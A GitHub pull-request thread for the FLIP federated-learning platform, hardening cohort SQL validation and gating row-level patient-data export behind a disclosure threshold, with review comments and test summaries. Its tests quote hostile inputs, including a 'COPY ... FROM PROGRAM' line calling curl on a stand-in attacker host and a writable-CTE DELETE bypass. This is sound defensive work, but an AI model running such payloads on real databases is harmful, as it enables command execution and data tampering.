fix(security): FLIP-PT-002 gate row-level cohort egress, FLIP-PT-088 replace SQL denylists - #839
Conversation
FLIP-PT-002: /cohort/dataframe returned row-level patient records with no minimum-cohort gate. It is the FL training-data path (user code reaches it via flip.get_dataframe), so it must keep returning rows — but it now applies the same COHORT_QUERY_THRESHOLD the /cohort statistics route already enforces, and refuses below-threshold cohorts with a fixed message that is identical for zero rows and threshold-minus-one so the refusal cannot act as an oracle. No column allowlist: accession_id is load-bearing for the XNAT join and shipped tutorials select *, so a column filter would break every FL app while a caller could alias around it. Column minimisation belongs in the submitted query and project approval. FLIP-PT-088: the hub's keyword denylist was bypassable and blocked legitimate SQL (it banned the token "substring", refusing every SUBSTRING() query), and its sqlparse "validity" check was a no-op — sqlparse.parse is a non-validating tokenizer that returns truthy for arbitrary text. Both are replaced by a sqlglot pre-check: parses, exactly one statement, SELECT-shaped, length-capped. The same denylist existed a third time in flip-ui and is removed there too; the cohort form now validates required-field only. Documents why the layers are deliberately asymmetric rather than kept in sync: only the trust is authoritative, because it must stay safe regardless of what the hub checked. The hub check earns its place as fast feedback — a malformed query fails in-hand instead of after an async fan-out to every trust — and being strictly weaker, drift can waste a fan-out but never become a bypass. Also collapses the trust-side double-parse: validate_query and _parse_and_emit each parsed the query and kept separate copies of the single-statement and SELECT-shape rules. validate_query now does one parse-validate-emit pass and returns the re-emitted SQL, so there is one parse and one policy. Fixes error handling on /cohort/dataframe (FLIP-PT-016): `except Exception` also caught the category-only HTTPExceptions get_records raises, re-wrapping every 400 as a 500 whose detail was the exception's repr, and the 500 paths echoed raw driver text that the hub relays to the cohort UI. Signed-off-by: at24_bioeng625-pc <alexandre.triay_bagur@kcl.ac.uk>
Codecov Report✅ All modified and coverable lines are covered by tests. 📢 Thoughts on this report? Let us know! |
There was a problem hiding this comment.
Pull request overview
This PR strengthens cohort-query handling across the UI, central hub (flip-api), and trust-side data-access-api by (1) replacing bypassable SQL keyword denylists with parser-based validation and (2) gating row-level cohort exports behind the existing disclosure threshold, reducing both data-leakage and oracle surfaces while keeping the “hub pre-check vs trust authority” layering intentionally asymmetric.
Changes:
- Gate
/cohort/dataframerow-level export onCOHORT_QUERY_THRESHOLDwith fixed refusal text and non-leaking error handling. - Replace hub/UI SQL denylists and the hub’s non-validating
sqlparsecheck withsqlglotparse-based structural checks (single statement, SELECT-shaped, length-capped). - Consolidate trust-side query validation into a single parse→validate→emit step that returns the emitted SQL, and document the three-layer validation model.
Reviewed changes
Copilot reviewed 15 out of 16 changed files in this pull request and generated 1 comment.
Show a summary per file
| File | Description |
|---|---|
| trust/data-access-api/data_access_api/services/cohort.py | Make trust-side validate_query authoritative parse/validate/emit returning SQL; enforce schema + literal LIMIT/OFFSET; keep category-only execution errors. |
| trust/data-access-api/data_access_api/routers/cohort.py | Use emitted SQL from validate_query; add /cohort/dataframe threshold gate + fixed refusal detail; avoid re-wrapping HTTPException from get_records. |
| trust/data-access-api/tests/routers/test_cohort.py | Update router tests for emitted-SQL flow, dataframe threshold gating, and non-leaking error behavior. |
| trust/data-access-api/tests/services/test_cohort.py | Update service tests for validate_query return-type change and additional structural validation cases. |
| trust/data-access-api/README.md | Add detailed documentation of the intentionally-asymmetric 3-layer cohort query validation and row-level threshold gating. |
| trust/data-access-api/CLAUDE.md | Record trust-side validation authority + dataframe threshold rule for future contributors. |
| trust/data-access-api/AGENTS.md | Regenerated mirror of CLAUDE.md with the same guidance updates. |
| flip-api/src/flip_api/cohort_services/submit_cohort_query.py | Replace denylist + sqlparse with sqlglot fast-feedback validation (length, single statement, SELECT-shaped). |
| flip-api/tests/unit/cohort_services/test_submit_cohort_query.py | Add unit tests covering hub pre-check behavior (unparseable, stacked statements, oversized, non-SELECT) and allow SUBSTRING(). |
| flip-api/pyproject.toml | Swap dependency from sqlparse to sqlglot. |
| flip-api/uv.lock | Lockfile updates reflecting sqlglot addition and sqlparse removal. |
| flip-ui/src/utils/cohort/query.ts | Remove client-side SQL denylist helper; retain only trust filtering utility with rationale comment. |
| flip-ui/src/utils/cohort/tests/query.spec.ts | Remove denylist-focused unit tests; keep tests for remaining helper(s). |
| flip-ui/src/partials/cohort-query/CohortQuery.vue | Remove denylist-based form validation; keep required-field-only validation with rationale. |
| CLAUDE.md | Document the “deliberately asymmetric” cohort validation layering at the repo level. |
| AGENTS.md | Regenerated mirror of CLAUDE.md with the same repo-level rule update. |
There was a problem hiding this comment.
The SQL-validation rewrite (PT-088) and the /cohort/dataframe threshold/error-handling fixes (PT-002, PT-016) are well-designed and well-tested in isolation - adversarial coverage for unparseable input, stacked statements, DML/DDL rejection, and the threshold boundary (including the byte-identical 0-vs-below-threshold refusal) all check out.
One thing I'd rather raise carefully than lay out in full on a public thread: the COHORT_QUERY_THRESHOLD protection this PR adds to /cohort/dataframe isn't mirrored on data-access-api's /cohort/accession-ids - the endpoint that actually determines which imaging studies get pulled into XNAT for a project, which is the more sensitive of the two surfaces. Combined with how project staging/approval and image-pull submission relate to each other upstream in flip-api, I don't think this PR's threshold protection actually extends end-to-end to the imaging-pull path the way it does for the tabular export path. This looks pre-existing rather than introduced by this diff, and I'd rather walk through the specifics with a maintainer directly than post the mechanics here. The fix most consistent with this PR's own approach would likely be adding the same COHORT_QUERY_THRESHOLD gate to /cohort/accession-ids that this PR adds to /cohort/dataframe, so the trust-side authority never releases row-level identifiers for an unvetted-size cohort regardless of what was approved upstream - but I'd treat that as a starting point for discussion, not a complete fix, until the upstream side is looked at too.
Two more contained items (couldn't attach these inline since the specific lines predate this PR's diff):
-
trust/data-access-api/data_access_api/routers/cohort.py:196-199 (get_accession_ids) - this except block still does raise HTTPException(status_code=500, detail=str(e)), returning raw exception text. That's the exact FLIP-PT-016 leak this same PR just fixed two functions above in get_dataframe (now logger.exception(...) + a category-only detail string). Worth applying the identical fix here, and to receive_cohort_query's handler a bit further up in this file, which has the same pattern.
-
trust/data-access-api/data_access_api/services/cohort.py:130 - the new allowlist's isinstance(stmt, _ALLOWED_QUERY_TYPES) check validates the top-level parsed statement's type, but a CTE can carry a data-modifying statement (INSERT/UPDATE/DELETE/MERGE) in its body while the outer statement still parses as a SELECT - so a query of the shape "WITH x AS ( RETURNING *) SELECT * FROM x" would pass this check despite containing a write. Not currently exploitable here since data_analyst_reader only has pg_read_all_data at the database layer, so Postgres itself would reject the write - but the docstring's claim that this layer rejects any DML the DB would also reject isn't quite true for this construct, and closing it seems worth doing given the whole point of this rewrite is a more principled validator than the old denylist. Suggest also rejecting when stmt.find_all((exp.Insert, exp.Update, exp.Delete, exp.Merge)) is non-empty, not just checking the top-level statement type.
…e CTEs Addresses review on #839. Threshold gate on /cohort/accession-ids. Accession IDs are row-level identifiers and are the pointer set into the imaging data — they decide whose studies get pulled into XNAT, where project members view them — so they are gated on COHORT_QUERY_THRESHOLD like /cohort/dataframe, sharing its fixed refusal text so a below-threshold cohort is indistinguishable from an empty one. The trust applies this itself rather than relying on the hub's staging guard, which is the "assume the hub filtered first" this layering rejects. The gate evaluates the live cohort on every call, not once at approval: FLIP stores the cohort only as a SQL string and re-runs it at every stage, so a project can import cleanly and later start refusing. Documented at each site and filed as #857. Graceful handling in imaging-api, so the refusal is legible rather than a silent empty import. get_accession_ids raises the new CohortBelowThresholdError on 403 instead of a generic RuntimeError; the background pull logs a clear reason and queues nothing, and the status path returns 403 with a readable message that trust-api relays to the hub. Reject data-modifying statements anywhere in the tree. Postgres allows a writable CTE, which sqlglot parses with a top-level Select, so the SELECT-shape check alone let it through. Not exploitable — data_analyst_reader cannot write — but the docstring claimed a guarantee the code did not provide. Stop leaking raw exception text from get_accession_ids and from receive_cohort_query's aggregation handler, the same FLIP-PT-016 leak already fixed in get_dataframe. Make COHORT_QUERY_THRESHOLD a real per-trust control. It was undiscoverable and had no effect outside the test compose: the trust composes never passed it to the container. Now plumbed through both composes, present in the kit templates, and documented as the operator's own disclosure floor. Guarded with an empty-string coercion validator, since the service Makefile exports kit-file names with sed and a commented-out entry would otherwise arrive as "". Consolidate the threshold read sites onto a live get_settings() read, removing the import-time snapshot that ignored a per-trust override. The configured value is applied as a floor under get_statistics' threshold argument, keeping the existing property that a caller cannot lower it. Strengthen the validate_query test to assert the emit contract rather than truthiness, per review. Signed-off-by: at24_bioeng625-pc <alexander.triay_bagur@kcl.ac.uk>
|
Thanks for the careful read — all three addressed in 205fd01. 1. Threshold gate on
|
…8-cohort-egress Signed-off-by: at24_bioeng625-pc <alexander.triay_bagur@kcl.ac.uk> # Conflicts: # flip-api/uv.lock
garciadias
left a comment
There was a problem hiding this comment.
The row-level egress gate is enforced inside data-access-api itself (the only component holding OMOP credentials) directly in the query-execution path, applies uniformly regardless of caller, sits behind the existing trust-internal-auth dependency, and cannot be skipped by any code path that reaches get_records for either row-level route. The SQL-safety replacement is a genuine structural allowlist (parse → single-statement → SELECT-shaped → no DML-anywhere-in-tree → schema-pinned → literal-LIMIT/OFFSET → re-emit-from-AST) backed by a read-only DB role as defence in depth, not a bigger denylist, and it closes a real gap (writable CTEs) the prior shape check missed.
Adversarial test coverage is excellent — including the exact historical pentest payload, writable-CTE rejection, oracle-indistinguishability assertions (byte-identical refusals for zero vs. below-threshold cohorts), and PII-leak-absence assertions across every exception branch. Left two minor, non-security comments (a likely-dead-code check, thin test coverage on COPY/EXPLAIN). Approving.
|
One more note that doesn't attach to a changed line in this diff ( That test parametrizes DDL/DML ( |
Addresses the three review comments left on #839 after approval. COHORT_QUERY_THRESHOLD is now a PositiveInt. It was a plain int, so 0 or a negative value parsed happily and disabled every check that reads it at once — both row-level gates (len(df) < 0 is never true, so /cohort/dataframe and /cohort/accession-ids would release a cohort of any size) and the statistics suppression on /cohort. Settings are built at import, so a bad value now stops the service starting rather than leaving it running with no floor. Requiring the value to be at least the shipped 10 rather than merely positive needs the integration seed grown past 10 patients per sex bucket; tracked in FLIP#870. Its default also lived in two places — the field default and the empty-string coercion validator, whose docstring admitted they "must stay in sync". Both now read the module-level DEFAULT_COHORT_QUERY_THRESHOLD, with a test asserting the coercion tracks the field default rather than a copy of it. The "accession_id not in df.columns" guard in get_accession_ids is deleted: it could never fire. The route wraps the caller's SQL as SELECT accession_id FROM (...), so a cohort that does not project the column fails inside get_records with UndefinedColumn and surfaces as a category 400 before any DataFrame exists. Its only test mocked get_records, so it passed without ever exercising that. /cohort/accession-ids now has real-Postgres coverage — which 400 actually surfaces, the positive path, the below-threshold refusal, and byte-identical refusals for a zero-row and a below-threshold cohort — and the unit test is retargeted at the propagation path that does run in production. validate_query's docstring names COPY and EXPLAIN as rejected but neither was tested. Both are added as characterisation tests, along with the COPY ... FROM PROGRAM form; all three already pass, since sqlglot parses them to exp.Copy and exp.Command and the allowlist admits neither. _ALLOWED_QUERY_TYPES gains a note never to admit exp.Command: it round-trips raw text and exposes no children, so the DML, schema and LIMIT walks would traverse nothing. Signed-off-by: at24_bioeng625-pc <alexandre.triay_bagur@kcl.ac.uk>
|
Added in 3f0cfaf, plus the "COPY (SELECT 1) TO STDOUT",
"COPY omop.person FROM PROGRAM 'curl attacker.example'",
"EXPLAIN SELECT * FROM omop.person",Your read was right that this is an untested claim rather than a gap — all three passed on the first run, no production change needed. But checking why they pass turned up something worth writing down, so the parametrisation is not the only thing that landed. Neither statement fails at the parse step, which is where I'd have guessed the rejection came from. sqlglot 30.9.0 parses both successfully:
That's a sharper edge than "COPY is untested", so I've put it on # Top-level statement shapes that count as SELECT-like for the cohort API. This is an
# allowlist and must stay one — never add ``exp.Command``, sqlglot's catch-all for syntax it
# does not model (``EXPLAIN`` lands there, as does anything a future sqlglot stops
# understanding). A Command node round-trips the raw text verbatim and exposes no children,
# so the DML, schema and LIMIT/OFFSET walks below would all traverse nothing and pass it
# through unchecked.I left the near-duplicate |
Ready for re-review@garciadias — your two comments plus the CI: 27/28 green, plus the expected Local: What changed — detail in the three thread replies:
One thing deliberately not done. Also flagged, not fixed: on |
Description
Addresses FLIP-PT-002 (cohort row-level export) and FLIP-PT-088 (cohort SQL denylist), plus FLIP-PT-016 error leakage on the same handler. Per
SECURITY.md, findings are referenced by ID only.FLIP-PT-002 —
/cohort/dataframehad no minimum-cohort gateThe endpoint returned row-level patient records with no k-anonymity threshold, while its sibling
/cohorthas always suppressed below-threshold counts.It cannot simply be removed or column-filtered, because it is the FL training-data path — user training code reaches it through
flip.get_dataframe(...)and a model trains on rows. So it now applies the sameCOHORT_QUERY_THRESHOLD, refusing below-threshold cohorts with a fixed message that is identical for zero rows and for threshold-minus-one, so the refusal cannot be used as a row-count oracle. A cohort that small has no training value anyway.There is deliberately no column allowlist:
accession_idis load-bearing (it is how returned rows join to the studies pulled into XNAT) and shipped tutorials legitimatelySELECT *, so a column filter would break every FL app while a caller could trivially alias around it. Column minimisation belongs in the submitted cohort query and in project approval. This is documented at the call site.FLIP-PT-002 (review round) —
/cohort/accession-idshad no gate either/cohort/dataframeis not the only row-level route./cohort/accession-idsreturns accession IDs — still row-level identifiers, and the pointer set into the imaging data: they decide whose studies get pulled into XNAT, where project members view them. It now applies the same threshold and the same fixed refusal text, placed before the column check so a below-threshold probe cannot distinguish "too small" from "wrong columns".The endpoint is not reachable from the hub (no route — data-access-api publishes only on the trust host; and no credential — it requires the per-trust
TRUST_INTERNAL_SERVICE_KEYthe hub never holds), and no accession IDs return to the hub. So this is not closing a hub-visible egress path. It is that the only below-threshold check today is hub-side, instage_project, which is precisely the "assume the hub filtered first" this PR's own layering rejects — andstart_project_imaging_creationdoes not re-check staging. The trust now has its own control.The gate evaluates the live cohort on every call, not once at approval. FLIP stores the cohort only as a SQL string and re-runs it against OMOP at every stage — the imaging status poll alone re-runs it roughly every 10s per trust while a project page is open. A project can import cleanly and later start refusing if its cohort shrinks. That is right for a disclosure control but is not an approval-time gate, so it is stated at each site rather than left to be misread. The underlying design gap is #857.
Because the initial pull runs as a background task after the response is sent, a bare refusal would have produced an empty XNAT project that the hub still recorded as
CREATEDand emailed users about. So imaging-api now raises a typedCohortBelowThresholdErroron 403: the pull logs a clear reason and queues nothing, and the status path returns a readable 403 that trust-api relays to the hub.Writable CTEs bypassed the SELECT-shape check
Postgres allows
WITH x AS (DELETE FROM t RETURNING *) SELECT * FROM x, which sqlglot parses with a top-levelSelect— so the trust-side shape check passed it. Not exploitable, sincedata_analyst_readerhas no write grant, but the docstring claimed a guarantee the code did not provide.validate_querynow rejects anyINSERT/UPDATE/DELETE/MERGEnode anywhere in the tree.COHORT_QUERY_THRESHOLDis now a real per-trust controlIt was undiscoverable and, outside
compose.test.yml, had no effect at all — neither trust compose passed it into the container, so dev and prod both ran the code default whatever an operator wrote in their kit. It is now plumbed through both composes, present in the kit templates, and documented as the operator's own disclosure floor. Guarded by an empty-string coercion validator, since the service Makefile exports kit-file names withsed 's/=.*//'and a commented-out entry would otherwise arrive as""and kill the service at import.Its read sites are also consolidated:
services/cohort.pyheld an import-time snapshot that five statistics-path sites used while the routers read live, so a per-trust override silently did not reach the statistics path. All reads are live now, with the configured value applied as a floor so a caller still cannot lower it.FLIP-PT-088 — the denylist was bypassable and blocked legitimate SQL
The hub carried a nine-entry substring regex that was trivially evaded, and — because it banned the bare token
substring— refused every query using the standardSUBSTRING()function. The accompanyingvalidate_querywas effectively a no-op:sqlparse.parseis a non-validating tokenizer that returns a truthy result for arbitrary text ($$$$included), so nothing was actually being validated.Both are replaced by a
sqlglotpre-check: parses, exactly one statement, SELECT-shaped, length-capped.The same denylist existed a third time in
flip-ui(src/utils/cohort/query.ts), so removing it hub-side alone would have leftSUBSTRING()blocked at the first gate a researcher hits. It is removed there too; the cohort form now validates required-field only.Why the layers are deliberately asymmetric
The three checks are not copies and should not be made into copies:
submit_cohort_query.validate_queryservices/cohort.validate_queryA trust holds patient data and the hub is a separate administrative domain, so the trust must stay safe regardless of what the hub checked — which means anything the hub enforced for safety would have to be enforced trust-side anyway. Duplicating the trust's rules on the hub would buy no security, only two copies of one policy to keep in sync.
What the hub check does earn its place for is fast feedback: submitting a cohort query fans it out to every registered trust as an encrypted task, each validating asynchronously. Without a pre-check a researcher who typos their SQL waits for that whole round-trip to be told. Catching "this cannot succeed anywhere" in-hand turns a multi-minute fan-out into an immediate 400.
Because the hub check is strictly weaker and enforces only what every trust would reject anyway, drift is safe by construction: a hub lagging behind wastes a fan-out, never becomes a bypass. This is written up in
trust/data-access-api/README.md#cohort-query-validationand recorded as a rule inCLAUDE.md/AGENTS.mdso it is not "fixed" later by syncing the layers.Two things found along the way
validate_queryand_parse_and_emiteach parsed the query and kept separate copies of the single-statement and SELECT-shape rules — the one genuine sync hazard here, since both lived in the same request path.validate_querynow does a single parse-validate-emit pass and returns the re-emitted SQL, so there is one parse and one policy./cohort/dataframe.except Exceptionalso caught the category-onlyHTTPExceptions thatget_recordsdeliberately raises, re-wrapping every categorised 400 as a 500 whose detail was the exception's repr. The 500 paths additionally echoed raw driver text, which the trust forwards to the hub and the hub shows to every project member.Second review round (post-approval)
Three comments left after the approving review, all addressed in
3f0cfaf8. None was a security defect; all three were real.COHORT_QUERY_THRESHOLDcould be disabled outright. It was a plainint, so0or a negative value parsed happily and switched off every check that reads it at once — both row-level gates (len(df) < 0is never true) and the statistics suppression. Now aPositiveInt, so a bad value stops the service at import rather than leaving it running with no floor. Its default also lived in two places, the field default and the empty-string coercion validator whose docstring conceded they "must stay in sync"; both now read one module-level constant, with a test asserting the coercion tracks the field default rather than copies it.PositiveIntmeans>= 1, not>= 10— the stronger floor collides with the shared integration seed and is filed as COHORT_QUERY_THRESHOLD should be floored at the platform minimum of 10, not 1 #870.get_accession_idsis deleted.if "accession_id" not in df.columnscould never fire: the route wraps the caller's SQL asSELECT accession_id FROM (...), so a cohort that doesn't project the column fails insideget_recordswithUndefinedColumnand surfaces as a category 400 before any DataFrame exists. Its only test mockedget_records, which is exactly how a dead branch keeps looking alive. Confirmed against real Postgres with the guard still in place — the new integration test asserts theget_recordsmessage and passed first time — then removed, with the unit test retargeted at the propagation path that does run.COPYandEXPLAINare now tested.validate_query's docstring named both as rejected but neither was exercised. Added as characterisation tests along withCOPY ... FROM PROGRAM; all three already passed. Worth noting why: sqlglot parses them fine, toexp.Copyand to the catch-allexp.Command, so only the allowlist stops them.exp.Commandround-trips raw text and exposes no children, so admitting it would make the DML, schema andLIMITwalks traverse nothing — that warning now sits on_ALLOWED_QUERY_TYPESitself./cohort/accession-idshad no integration coverage before this round; it now has four tests, including the zero-row vs below-threshold byte-identical refusal, which was previously asserted only against mocked DataFrames.Linked Issues
No public issue for the findings themselves — tracked confidentially by finding ID.
Filed from the review round, all pre-existing and out of scope here:
ImportStatusCountis not subject to the threshold suppression, and the hub controls the SQL those counts are computed over. This PR narrows the small-k end.From the second review round:
COHORT_QUERY_THRESHOLDshould be floored at the shipped minimum of 10 rather than merely positive. Blocked on test data:compose.test.ymldeliberately runs the shared stack at5, and two trust-api integration assertions depend on it, so raising the floor means growingomop_seed.sqlpast 10 patients per sex bucket first.Checklist
Type of Change
Not a breaking change for any working app: the threshold gate only refuses cohorts too small to train on, and the pre-check now accepts queries (e.g.
SUBSTRING()) that were previously refused.sqlparseis dropped fromflip-apiin favour ofsqlglot, already used by data-access-api.Testing
Every test was written first and watched fail. The failures confirmed all three findings were live rather than stale: the leakage tests genuinely returned the seeded
Bob/hunter2strings, the gate test returned200instead of403, and the exception test returned500instead of400.make -C trust/data-access-api integration_test, 10 passed against real Postgres (from 6). Alongsidetest_dataframe_endpoint_returns_seeded_columns,/cohort/accession-idsnow has four: the positive path (24 ids projected out), theUndefinedColumn400, the below-threshold 403, and a zero-row vs below-threshold pair asserted byte-identical against the real database rather than against mocks.ruffandmypyclean on both Python services.The three
flip-uilint warnings are pre-existingmax-leninEditProjectDrawer.vue, untouched by this PR.Verified on a running dev deployment
Beyond the suites, this was exercised against a live dev stack — branch builds of
flip-apianddata-access-apirun alongside the existing stack, with the real trust1/trust2trust-apianddata-access-apicontainers servicing the queued tasks and the real seeded OMOP database (4,217image_occurrencerows) behind them.End-to-end through the UI's own endpoint. A
SUBSTRING()cohort query — rejected outright by theold denylist at both the UI and the hub — submitted via
POST /api/step/cohort(whatCohortQuery.vuecalls) with a real Cognito token returned 800 records aggregated across bothtrusts in 8s. Both trusts'
data-access-apilogged one execution each.Hub barrier (13 cases, real Cognito auth):
SUBSTRING(), CTE+UNION, INTERSECT and plain SELECTqueue to both trusts; unparseable input, stacked statements,
DROP,INSERT,UPDATE, empty andover-length queries are refused 400 with specific messages. Every one of that second group
previously passed the hub, since the
sqlparsecheck was a no-op. Missing and bogus tokens 401.Authority barrier (23 cases, real OMOP): schema pinning refuses
information_schemaandpg_catalog; the literal-LIMITrule refusesLIMIT CASE WHEN ...blind extraction; non-literalOFFSET, stacked statements and DDL/DML all refused. Error responses stay category-only.PT-002 gate: 1 row → 403, 9 rows → 403, exactly 10 rows → 200 (not off-by-one), 0 rows → 403 —
and the 0-row and 9-row refusal bodies are byte-identical (same SHA-256), confirming the refusal
cannot be used as a row-count oracle.
Behaviour change worth reviewer attention: the threshold counts returned rows, so a
low-cardinality aggregate on
/cohort/dataframe(e.g.GROUP BYyielding 2 rows) is now refusedeven though it discloses nothing identifiable. Aggregates belong on
/cohort, which has its ownsuppression, but this is a real change for anyone using
/dataframefor grouped summaries.Additional Notes
AGENTS.mdtwins were regenerated from theirCLAUDE.mdcounterparts withsedper the repo rule, at both root andtrust/data-access-api/.Not run: the Sphinx build, since no
docs/source/page changed — documentation here is service README + in-line.